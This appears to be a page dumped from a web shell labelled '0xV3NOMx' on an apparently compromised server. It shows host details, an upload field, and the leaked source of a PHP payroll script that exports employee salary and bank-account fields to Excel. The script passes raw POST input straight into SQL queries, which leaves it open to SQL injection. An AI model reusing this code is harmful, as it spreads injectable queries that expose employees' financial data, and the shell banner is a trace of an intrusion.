0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.141.27.70


Current Path : /var/www/html/oums/src/
Upload File :
Current File : /var/www/html/oums/src/salary_statement_month_excel.php

<?php

/** Error reporting */
error_reporting(E_ALL);
ini_set('display_errors', TRUE);
ini_set('display_startup_errors', TRUE);

define('EOL', (PHP_SAPI == 'cli') ? PHP_EOL : '<br />');

include("sys_session.php");
include("sys_connect.php");
include("sys_mainphp.php");

$resp_mesg = "";
$resp_stat = "";
$resp_file = "";


$d = 1;
$mnth_days = cal_days_in_month(CAL_GREGORIAN, substr($_POST['attn_mnth'], 5, 2), substr($_POST['attn_mnth'], 0, 4));
if ($_POST['attn_mnth'] == date('Y-m')) {
    $entr_days = date('d') - 1;
    $rept_days = date('d');
} else {
    $entr_days = $mnth_days;
    $rept_days = $mnth_days;
}
for ($d = 1; $d <= $entr_days; $d++) {
    $caln_date = $_POST['attn_mnth'] . '-' . substr('0' . $d, -2, 2);
    if ($caln_date != date('Y-m-d')) {
        // INSERT CLIENT HOLIDAY STATUS
        $mysql = "insert ignore into attendance (fdeptcode,fattndate,femplcode,fattnstat,fupdtuser,fattnremk,fupdttime)
        select em.fdeptcode,'$caln_date' as fattndate,em.femplcode,if(dayname('$caln_date')='Sunday','WO','HD') as fattnstat,
        'AUTO' as fupdtuser,'' as fattnremk, now() as fupdttime 
        from masempl em
        inner join masholiday hd on em.fdeptcode = hd.fdeptcode and hd.fholidate='$caln_date'
        where '$caln_date' between date_format(em.fjoindate,'%Y-%m-%d') and if(em.ftermdate='0000-00-00','$caln_date',date_format(em.ftermdate,'%Y-%m-%d'))
        and femplstat='T' and fempltype='P' and fattnentr='T';";

        $myres = mysqli_query($mycon, $mysql);

        // INSERT ABSENT / WEEKLY OFF STATUS
        $mysql = "insert ignore into attendance (fdeptcode,fattndate,femplcode,fattnstat,fupdtuser,fattnremk,fupdttime)
        select em.fdeptcode,'$caln_date' as fattndate,em.femplcode,if(dayname('$caln_date')='Sunday','WO','AB') as fattnstat,
        'AUTO' as fupdtuser,'' as fattnremk, now() as fupdttime from masempl em
        left join attendance ad on em.femplcode = ad.femplcode and fattndate='$caln_date'
        where '$caln_date' between date_format(em.fjoindate,'%Y-%m-%d') and if(em.ftermdate='0000-00-00','$caln_date',date_format(em.ftermdate,'%Y-%m-%d'))
        and em.fdeptcode not in ('dep','ihf') and femplstat='T' and fempltype='P' and fattnentr='T' and ad.femplcode is null;";
        $myres = mysqli_query($mycon, $mysql);

        // INSERT NA STATUS FOR NEW 
        $mysql = "insert ignore into attendance (fdeptcode,fattndate,femplcode,fattnstat,fupdtuser,fattnremk,fupdttime)
        select em.fdeptcode,'$caln_date' as fattndate,em.femplcode,'NA' as fattnstat,
        'AUTO' as fupdtuser,'' as fattnremk, now() as fupdttime from masempl em
        left join attendance ad on em.femplcode = ad.femplcode and fattndate='$caln_date'
        where date_format('$caln_date','%Y-%m-%d') < date_format(em.fjoindate,'%Y-%m-%d') and date_format('$caln_date','%Y-%m') = date_format(em.fjoindate,'%Y-%m')
        and em.fdeptcode not in ('dep','ihf') and femplstat='T' and fempltype='P' and fattnentr='T' and ad.femplcode is null;";
        $myres = mysqli_query($mycon, $mysql);

        // INSERT NA STATUS FOR LEFT STAFF
        $mysql = "insert ignore into attendance (fdeptcode,fattndate,femplcode,fattnstat,fupdtuser,fattnremk,fupdttime)
        select em.fdeptcode,'$caln_date' as fattndate,em.femplcode,'NA' as fattnstat,
        'AUTO' as fupdtuser,'' as fattnremk, now() as fupdttime from masempl em
        left join attendance ad on em.femplcode = ad.femplcode and fattndate='$caln_date'
        where date_format('$caln_date','%Y-%m-%d') > date_format(em.ftermdate,'%Y-%m-%d') and date_format('$caln_date','%Y-%m') = date_format(em.ftermdate,'%Y-%m')
        and em.fdeptcode not in ('dep','ihf') and femplstat='T' and fempltype='P' and fattnentr='T' and ad.femplcode is null;";
        $myres = mysqli_query($mycon, $mysql);
    }
}


require_once("phpexcel/Classes/PHPExcel.php");
$objPHPExcel = new PHPExcel();
$objPHPExcel->getProperties()->setCreator("Logisys")
    ->setLastModifiedBy("Logisys")
    ->setTitle("Office 2007 XLSX Test Document")
    ->setSubject("Office 2007 XLSX Test Document")
    ->setDescription("Test document for Office 2007 XLSX, generated using PHP classes.")
    ->setKeywords("office 2007 openxml php")
    ->setCategory("Report File");
$objPHPExcel->getActiveSheet()->getPageSetup()->setOrientation(PHPExcel_Worksheet_PageSetup::ORIENTATION_LANDSCAPE);
$objPHPExcel->getActiveSheet()->getPageSetup()->setPaperSize(PHPExcel_Worksheet_PageSetup::PAPERSIZE_A4);

$objPHPExcel->getActiveSheet()->getPageSetup()->setRowsToRepeatAtTopByStartAndEnd(1, 2);

$objPHPExcel->getActiveSheet()->getDefaultColumnDimension()->setWidth(10);
$objPHPExcel->getActiveSheet()->getDefaultRowDimension()->setRowHeight(25);

$objPHPExcel->getActiveSheet()->setPrintGridlines(TRUE);
$objPHPExcel->getActiveSheet()->getPageSetup()->setFitToWidth(1);
$objPHPExcel->getActiveSheet()->getPageSetup()->setFitToHeight(0);

$objPHPExcel->getActiveSheet()->getPageMargins()->setTop(0.5);
$objPHPExcel->getActiveSheet()->getPageMargins()->setRight(0.2);
$objPHPExcel->getActiveSheet()->getPageMargins()->setLeft(0.2);
$objPHPExcel->getActiveSheet()->getPageMargins()->setBottom(0.5);

$objPHPExcel->getActiveSheet()->getPageSetup()->setHorizontalCentered(true);
$objPHPExcel->getActiveSheet()->getPageSetup()->setVerticalCentered(false);

$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddHeader('&L&G&C&HLogisys, Bangalore' . chr(10) . 'Salary Statement - ' . $_POST['attn_mnth']);
$objPHPExcel->getActiveSheet()->getHeaderFooter()->setOddFooter('&L&B' . '&CPage &P of &N');

$mysql = "SET SESSION group_concat_max_len = 1000000;";
$myres = mysqli_query($mycon, $mysql);

$myqry = "";
if ($type_id == "ADMIN") {
    $myqry = " ";
} elseif ($type_id == "CHIEF") {
    $myqry = " inner join masdept_user du on ad.fdeptcode = du.fdeptcode and du.fusercode = '$user_id' ";
} else {
    $myqry = " and ad.femplcode = '$empl_id' ";
}

$mysql = "select fsalrhead,dp.fdeptcode,dp.fdeptname, date_format(fattndate,'%Y-%m') as fattnmnth,day(last_day(concat('$_POST[attn_mnth]','-01'))) as fmnthdays,
em.femplcode,femplname,em.fempldesn, concat('''',facntnumb) as facntnumb,fifsccode,
if(fjoindate='0000-00-00','',date_format(ifnull(fjoindate,''),'%d/%m/%Y')) as fjoindate,
if(ftermdate='0000-00-00','',date_format(ifnull(ftermdate,''),'%d/%m/%Y')) as ftermdate,
ifnull(fsalrbase,0) as fsalrbase,ifnull(fproftaxs,0) as fproftaxs,ifnull(fsalraddn,0) as fsalraddn,ifnull(fsalrtdsx,0) as fsalrtdsx,
sum(case when fattnstat = 'PR' then 1 else 0 end) as ftotalpr,
sum(case when fattnstat = 'PH' and ifnull(fexcpperm,'') ='T' then 1 else 0 end) as ftotalpx,
sum(case when fattnstat = 'PH' and ifnull(fexcpperm,'')<>'T' then 1 else 0 end) as ftotalph,
sum(case when fattnstat = 'PH' and ifnull(fexcpperm,'')<>'T' then 1 else 0 end) / 2 as ftotalex,
sum(case when fattnstat = 'WH' then 1 else 0 end) as ftotalwh,
sum(case when fattnstat = 'HW' then 1 else 0 end) as ftotalhw,
sum(case when fattnstat in ('CL','AL') then 1 else 0 end) as ftotalcl,
sum(case when fattnstat = 'CH' then 1 else 0 end) as ftotalch,
sum(case when fattnstat = 'WO' then 1 else 0 end) as ftotalwo,
sum(case when fattnstat = 'HD' then 1 else 0 end) as ftotalhd,
sum(case when fattnstat = 'AB' and dayname(fattndate)<>'Sunday' then 1 else 0 end) as ftotalab,
sum(case when fattnstat = 'AB' and dayname(fattndate)<>'Sunday' then 1 else 0 end) div 4 as fextraab,
sum(case when fattnstat = 'AB' and dayname(fattndate)='Sunday' then 1 else 0 end) as  fexsunab,
group_concat(if(fattnstat='AB',concat(date_format(fattndate,'%d'),', '),'') order by fattndate separator '')  as fabsndate,
sum(case when flogistat = 'CHECK_IN_DELAY' and ifnull(fexcpperm,'')<>'T' then 1 else 0 end) as fexindays,
sum(case when flogostat = 'CHECK_OUT_EARLY' and ifnull(fexcpperm,'')<>'T' then 1 else 0 end) as fexotdays,
sum(case when flogostat = 'CHECK_OUT_SKIP' and ifnull(fexcpperm,'')<>'T' then 1 else 0 end) as fexotskip,
ifnull(sa.fappramnt,0) as fappramnt,
if(em.fsalrappr=right('$_POST[attn_mnth]',2),'Increment due ','') as lsalrremk,
if(date_format(em.fjoindate,'%Y-%m')='$_POST[attn_mnth]','New addition ','') as ljoinremk,
if(date_format(em.ftermdate,'%Y-%m')='$_POST[attn_mnth]','Left job this month ','') as ltermremk
from attendance ad
inner join masempl em on em.femplcode = ad.femplcode
inner join masdept dp on dp.fdeptcode = em.fdeptcode and dp.fattnenbl='T' and dp.fdeptcode like '$_POST[dept_code]' and dp.fdeptcode not in ('DEP','IHF')
left join salary_appraisal sa on em.femplcode = sa.femplcode and sa.fsalrmnth = '$_POST[attn_mnth]'
" . $myqry . "
where fempltype in ('P','X') and date_format(ad.fattndate,'%Y-%m')='$_POST[attn_mnth]' 
group by em.fsalrhead,fdeptname,em.femplcode
order by em.fsalrhead,fdepttype desc,fdeptname,em.femplcode;";
$myres = mysqli_query($mycon, $mysql);
$objPHPExcel->setActiveSheetIndex(0)
    ->setCellValue('A1', 'Sl. No.')
    ->setCellValue('B1', 'Company')
    ->setCellValue('C1', 'Client')
    ->setCellValue('D1', 'Month')
    ->setCellValue('E1', 'Empl ID')
    ->setCellValue('F1', 'Empl Name')
    ->setCellValue('G1', 'Designation')
    ->setCellValue('H1', 'Account No.')
    ->setCellValue('I1', 'IFSC Code')
    ->setCellValue('J1', 'Joining Date')
    ->setCellValue('K1', 'Leaving Date')
    ->setCellValue('L1', 'Total Days')
    ->setCellValue('M1', 'Present')
    ->setCellValue('N1', 'Leaves (CL)')
    ->setCellValue('O1', 'Leaves (CH)')
    ->setCellValue('P1', 'Sundays')
    ->setCellValue('Q1', 'Holidays')
    ->setCellValue('R1', 'Total Absent')
    ->setCellValue('S1', 'Absent')
    ->setCellValue('T1', 'Extra Absent')
    ->setCellValue('U1', 'Sunday Absent')
    ->setCellValue('V1', 'Except. Count')
    ->setCellValue('W1', 'Absent Dates')
    ->setCellValue('X1', 'Check In Delay')
    ->setCellValue('Y1', 'Early Check Out')
    ->setCellValue('Z1', 'Check Out Skip')
    ->setCellValue('AA1', 'Actual Salary')
    ->setCellValue('AB1', 'Increment')
    ->setCellValue('AC1', 'Gross Salary')
    ->setCellValue('AD1', 'Month Salary')
    ->setCellValue('AE1', 'Incentive')
    ->setCellValue('AF1', 'TDS')
    ->setCellValue('AG1', 'Prof. Tax')
    ->setCellValue('AH1', 'Loss of Pay')
    ->setCellValue('AI1', 'Deductions')
    ->setCellValue('AJ1', 'Net Salary')
    ->setCellValue('AK1', 'Remarks');

$i = 2;
while ($myrow = mysqli_fetch_object($myres)) {
    $mnth_days = $myrow->fmnthdays;
    $salr_days = $myrow->ftotalpr + $myrow->ftotalwh + $myrow->ftotalhw + $myrow->ftotalph + $myrow->ftotalpx + $myrow->ftotalcl + $myrow->ftotalch + $myrow->ftotalwo + $myrow->ftotalhd + $myrow->ftotalab + $myrow->fexsunab;
    $prsn_days = $myrow->ftotalpr + $myrow->ftotalwh + $myrow->ftotalhw + $myrow->ftotalph + $myrow->ftotalpx;
    $absn_days = $myrow->ftotalab + $myrow->fexsunab + $myrow->ftotalex;
    $actl_salr = $myrow->fsalrbase + $myrow->fappramnt;
    $mnth_salr = round(($myrow->fsalrbase + $myrow->fappramnt)*$salr_days/$mnth_days);
    $less_salr = round(($myrow->fsalrbase + $myrow->fappramnt)*$absn_days/$mnth_days);
    
    $objPHPExcel->getActiveSheet()->getStyle('AA:AJ')->getNumberFormat()->setFormatCode('#,##0');
    $objPHPExcel->setActiveSheetIndex(0)
        ->setCellValue('A' . $i, $i - 1)
        ->setCellValue('B' . $i, $myrow->fsalrhead)
        ->setCellValue('C' . $i, '[' . $myrow->fdeptcode . '] ' . $myrow->fdeptname)
        ->setCellValue('D' . $i, $myrow->fattnmnth)
        ->setCellValue('E' . $i, $myrow->femplcode)
        ->setCellValue('F' . $i, $myrow->femplname)
        ->setCellValue('G' . $i, $myrow->fempldesn)
        ->setCellValue('H' . $i, $myrow->facntnumb)
        ->setCellValue('I' . $i, $myrow->fifsccode)
        ->setCellValue('J' . $i, $myrow->fjoindate)
        ->setCellValue('K' . $i, $myrow->ftermdate)
        ->setCellValue('L' . $i, $salr_days)
        ->setCellValue('M' . $i, $prsn_days)
        ->setCellValue('N' . $i, $myrow->ftotalcl)
        ->setCellValue('O' . $i, $myrow->ftotalch)
        ->setCellValue('P' . $i, $myrow->ftotalwo)
        ->setCellValue('Q' . $i, $myrow->ftotalhd)
        ->setCellValue('R' . $i, $absn_days)
        ->setCellValue('S' . $i, $myrow->ftotalab)
        ->setCellValue('T' . $i, 0)
        ->setCellValue('U' . $i, $myrow->fexsunab)
        ->setCellValue('V' . $i, $myrow->ftotalex)
        ->setCellValue('W' . $i, $myrow->fabsndate)
        ->setCellValue('X' . $i, $myrow->fexindays)
        ->setCellValue('Y' . $i, $myrow->fexotdays)
        ->setCellValue('Z' . $i, $myrow->fexotskip)
        ->setCellValue('AA' . $i, $myrow->fsalrbase)
        ->setCellValue('AB' . $i, $myrow->fappramnt)
        ->setCellValue('AC' . $i, $actl_salr)
        ->setCellValue('AD' . $i, $mnth_salr)
        ->setCellValue('AE' . $i, $myrow->fsalraddn)
        ->setCellValue('AF' . $i, $myrow->fsalrtdsx)
        ->setCellValue('AG' . $i, $myrow->fproftaxs)
        ->setCellValue('AH' . $i, $less_salr)
        ->setCellValue('AI' . $i, $mnth_salr + $myrow->fsalraddn - $myrow->fsalrtdsx - $myrow->fproftaxs - $less_salr)
        ->setCellValue('AJ' . $i, $mnth_salr + $myrow->fsalraddn - $myrow->fsalrtdsx - $myrow->fproftaxs - $less_salr)
        ->setCellValue('AK' . $i, $myrow->lsalrremk .  $myrow->ljoinremk .  $myrow->ltermremk);
    $objPHPExcel->getActiveSheet()->getRowDimension($i)->setRowHeight(25);
    $objPHPExcel->getActiveSheet()->getRowDimension($i + 1)->setRowHeight(25);
    $i++;
}
// $i++;

$mysql2 = "select 
date_format(fattndate,'%Y-%m') as fattnmnth,
em.fsalrhead,dp.fdeptcode,dp.fdeptshrt,dp.fdeptname,em.femplcode,em.femplname,em.fempldesn,
if(fjoindate='0000-00-00','',date_format(ifnull(fjoindate,''),'%d/%m/%Y')) as fjoindate,
if(ftermdate='0000-00-00','',date_format(ifnull(ftermdate,''),'%d/%m/%Y')) as ftermdate,
concat('`',facntnumb) as facntnumb,fifsccode
from attendance ad 
inner join masdept dp on ad.fdeptcode = dp.fdeptcode and dp.fattnenbl = 'T'
inner join masempl em on ad.femplcode = em.femplcode and dp.fdeptcode like '$_POST[dept_code]' and em.fempltype in ('P','X') and dp.fdeptcode not in ('DEP','IHF')
" . $myqry . "
where fattndate like date_format(date_sub('$_POST[attn_mnth]-01',interval 1 month),'%Y-%m%') and ad.femplcode not in 
(select distinct femplcode from attendance where fattndate like '$_POST[attn_mnth]%') 
group by em.femplcode
order by em.fsalrhead,fdeptname,em.femplcode;";

$myres2 = mysqli_query($mycon, $mysql2);
while ($myrow2 = mysqli_fetch_object($myres2)) {
    $objPHPExcel->getActiveSheet()->getStyle('AA' . $i)->getNumberFormat()->setFormatCode('#');
    $objPHPExcel->setActiveSheetIndex(0)
        ->setCellValue('A' . $i, $i - 1)
        ->setCellValue('B' . $i, $myrow2->fsalrhead)
        ->setCellValue('C' . $i, '[' . $myrow2->fdeptcode . '] ' . $myrow2->fdeptname)
        ->setCellValue('D' . $i, '')
        ->setCellValue('E' . $i, $myrow2->femplcode)
        ->setCellValue('F' . $i, $myrow2->femplname)
        ->setCellValue('G' . $i, $myrow2->fempldesn)
        ->setCellValue('H' . $i, $myrow2->facntnumb)
        ->setCellValue('I' . $i, $myrow2->fifsccode)
        ->setCellValue('J' . $i, $myrow2->fjoindate)
        ->setCellValue('K' . $i, $myrow2->ftermdate)
        ->setCellValue('L' . $i, 0)
        ->setCellValue('M' . $i, 0)
        ->setCellValue('N' . $i, 0)
        ->setCellValue('O' . $i, 0)
        ->setCellValue('P' . $i, 0)
        ->setCellValue('Q' . $i, 0)
        ->setCellValue('R' . $i, 0)
        ->setCellValue('S' . $i, 0)
        ->setCellValue('T' . $i, 0)
        ->setCellValue('U' . $i, 0)
        ->setCellValue('V' . $i, 0)
        ->setCellValue('W' . $i, '')
        ->setCellValue('X' . $i, 0)
        ->setCellValue('Y' . $i, 0)
        ->setCellValue('Z' . $i, 0)
        ->setCellValue('AA' . $i, 0)
        ->setCellValue('AB' . $i, 0)
        ->setCellValue('AC' . $i, 0)
        ->setCellValue('AD' . $i, 0)
        ->setCellValue('AE' . $i, 0)
        ->setCellValue('AF' . $i, 0)
        ->setCellValue('AG' . $i, 0)
        ->setCellValue('AH' . $i, 0)
        ->setCellValue('AI' . $i, 0)
        ->setCellValue('AJ' . $i, 'No salary, Left job in Prev Month');

    $objPHPExcel->getActiveSheet()->getRowDimension($i)->setRowHeight(25);
    $objPHPExcel->getActiveSheet()->getRowDimension($i + 1)->setRowHeight(25);
    $i++;
}

$objPHPExcel->getActiveSheet()->freezePane('A2');

$objPHPExcel->getActiveSheet()->getStyle('A1:AJ1')->getAlignment()->setWrapText(true);

$objPHPExcel->getActiveSheet()->getStyle('A1:A' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('B1:B' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('C1:C' . $i)->getAlignment()->setHorizontal('left')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('D1:D' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('E1:E' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('F1:F' . $i)->getAlignment()->setHorizontal('left')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('G1:V' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('W1:W' . $i)->getAlignment()->setHorizontal('left')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('X1:AI' . $i)->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('AJ1:AJ' . $i)->getAlignment()->setHorizontal('left')->setVertical('center');

$objPHPExcel->getActiveSheet()->getStyle('W1:W' . $i)->getAlignment()->setWrapText(true);

$objPHPExcel->getActiveSheet()->getStyle('A1:AJ1')->getAlignment()->setHorizontal('center')->setVertical('center');
$objPHPExcel->getActiveSheet()->getStyle('A1:AJ1')->getFont()->setBold(true);

$objPHPExcel->getActiveSheet()->getRowDimension(1)->setRowHeight(35);

$objPHPExcel->getActiveSheet()->getColumnDimension('A')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('B')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('C')->setWidth(50);
$objPHPExcel->getActiveSheet()->getColumnDimension('D')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('E')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('F')->setWidth(30);
$objPHPExcel->getActiveSheet()->getColumnDimension('G')->setWidth(24);
$objPHPExcel->getActiveSheet()->getColumnDimension('H')->setWidth(20);
$objPHPExcel->getActiveSheet()->getColumnDimension('I')->setWidth(14);
$objPHPExcel->getActiveSheet()->getColumnDimension('J')->setWidth(12);
$objPHPExcel->getActiveSheet()->getColumnDimension('K')->setWidth(12);
$objPHPExcel->getActiveSheet()->getColumnDimension('L')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('M')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('N')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('O')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('P')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('Q')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('R')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('S')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('T')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('U')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('V')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('W')->setWidth(30);
$objPHPExcel->getActiveSheet()->getColumnDimension('X')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('Y')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('Z')->setWidth(8);
$objPHPExcel->getActiveSheet()->getColumnDimension('AA')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AB')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AC')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AD')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AE')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AF')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AG')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AH')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AI')->setWidth(10);
$objPHPExcel->getActiveSheet()->getColumnDimension('AJ')->setWidth(30);

$objPHPExcel->getActiveSheet()->setTitle('salary_' . $_POST['attn_mnth']);

$objPHPExcel->setActiveSheetIndex(0);

$file_name = "salary_statement_" . $_POST['attn_mnth'] . ".xlsx";
// Redirect output to a client’s web browser (Excel2007)
header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
header('Content-Disposition: attachment;filename="' . $file_name . '"');
header('Cache-Control: max-age=0');
// If you're serving to IE 9, then the following may be needed
header('Cache-Control: max-age=1');

// If you're serving to IE over SSL, then the following may be needed
header('Expires: Mon, 26 Jul 1997 05:00:00 GMT'); // Date in the past
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT'); // always modified
header('Cache-Control: cache, must-revalidate'); // HTTP/1.1
header('Pragma: public'); // HTTP/1.0

$objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');
ob_end_clean();
$objWriter->save($file_name);
$resp_file = $file_name;
echo json_encode(array("mesg" => $resp_mesg, "stat" => $resp_stat, "file" => $resp_file));

function getNameFromNumber($num)
{
    $numeric = $num % 26;
    $letter = chr(65 + $numeric);
    $num2 = intval($num / 26);
    if ($num2 > 0) {
        return getNameFromNumber($num2 - 1) . $letter;
    } else {
        return $letter;
    }
}